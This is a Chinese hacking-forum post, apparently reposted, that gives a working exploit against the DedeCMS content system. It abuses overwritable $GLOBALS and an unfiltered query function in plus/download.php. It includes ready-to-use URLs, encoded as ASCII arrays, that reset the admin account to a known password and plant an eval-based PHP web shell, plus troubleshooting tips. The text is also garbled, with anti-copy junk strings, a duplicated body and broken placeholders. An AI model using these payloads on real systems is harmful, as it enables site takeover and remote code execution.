|
|
此漏洞无视gpc转义,过80sec注入防御。
$ H' a7 x3 V+ v/ D补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?7 k, N1 w3 W9 r* j+ S
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。' k) a$ m( Z1 e* l
include/dedesql.class.php
" L& F; m/ D1 f4 d; F& w2 Fif(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。; I3 q) r! L; D% Z. A
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2, Q6 N& D) J9 M- |+ B4 w
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。7 `5 ?' I1 l. h, s) I
plus/download.php
1 w" D4 U6 Q" W |& Q( zelse if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("location link"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
4 \9 \* s) l, G1 Q' y( n1 H7 [admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
$ B4 z- K1 V. [! f$ ZUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
7 J5 J$ H* `2 L/ Zhttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin" b6 \9 f4 C2 Z0 ?1 c9 x) t) i" c
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
3 m$ H1 D" r& G: v+ K, w如果找不到后台,参见以前修改数据库直接拿SHELL的方法
# k( h& S" U' a/ E/ e. z) F6 s5 wUPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。7 O! e7 l6 }. r+ F5 B5 {# E( |
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
9 W/ c# Q& k. o# D) L1 k起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。6 U/ X9 L* F6 w( x8 ^
include/dedesql.class.php9 B A- h4 H7 t+ \
if(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。 K C& w9 C/ S
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery22 o1 J% U+ F. U8 g
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
u- n- w, M& {5 {$ o; M" oplus/download.php' C7 b; t8 f7 g% q0 l
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("location link"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
) k% X5 p, n. I+ aadmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
# J) n% m5 I" M& M: G) pUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:7 S) x# p( m( ~, a
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin. n: F6 r5 @4 c6 ^3 |
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
7 N5 N, H" @+ R$ ?" K) F1 o如果找不到后台,参见以前修改数据库直接拿SHELL的方法
( [8 X6 p& X& s3 J7 y7 p___FCKpd___6getshell:0 _0 X/ ?' ^& [$ f
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m5 k1 C$ v4 B$ ]4 _) V
http://127.0.0.1/plus/x.php
& |6 {3 Y9 b B' ^; rupdate成功后还要访问下 /plus/mytag_js.php?aid=1
5 Y" N; c2 f; C: s8 b8 }5 E失败原因:4 ?" f+ t6 W7 b* @1 m
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)+ @6 B0 T9 _* J0 J, Y' H: n; l3 ]
配图:
4 s* u% q/ m% g' l& j' C1.查看dede当前版本
- [) @: O9 V! a0 B& I) O9 m& V8 a) {8 @) `
2.执行exp1 i% \# K0 b6 y
! X% c X+ k. d+ J0 O/ S9 N' ?- uhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
' T( x- \1 z1 V3 l% Q7 p! |/ ]8 h9 y" w+ z8 V; j: Y+ n% v
spider密码admin
, T! v7 z% ?" M0 c- J$ I
3 d! U5 n; w/ \; r' fhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
+ A" d0 J- q \原作者:imspider, G3 S; K/ S" E* L" t
! N! ?2 `% x) j7 D- x本博客测试+配图+getshell
! S, _; N, I2 E! |/ F U6 d/ ^POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT
7 W8 c# R. f. |$ \' N7 t+ w1 v& e) _8 Z( b
getshell:: Y0 K4 m- m% A3 p# c, T1 W6 j
___FCKpd___7会在plus目录生成 x.php 密码 m1 d! V" |2 M" b; B a/ ^
http://127.0.0.1/plus/x.php6 n! T# f8 ^+ ~5 Z( u0 h# u& U: G
update成功后还要访问下 /plus/mytag_js.php?aid=1
e; c3 V' _6 P9 J) C失败原因:
2 y, |( X( u w5 k$ \" O测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49); h+ a6 ^3 \7 @
配图:3 D0 f; [0 L( p) Z/ b
1.查看dede当前版本; j5 D7 G8 ]0 g q
http://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png
' I1 w" z$ M, [- [2.执行exp1 w" w( B( F% P- m6 C
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台# y/ W# [0 o& J2 F) g8 ~
spider密码admin
* t+ f( P$ z/ m7 |4 v, Hhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png8 X2 k7 i% N/ y3 ]! d
0 K" Y1 W( M( ], X; X. ^5 R |
|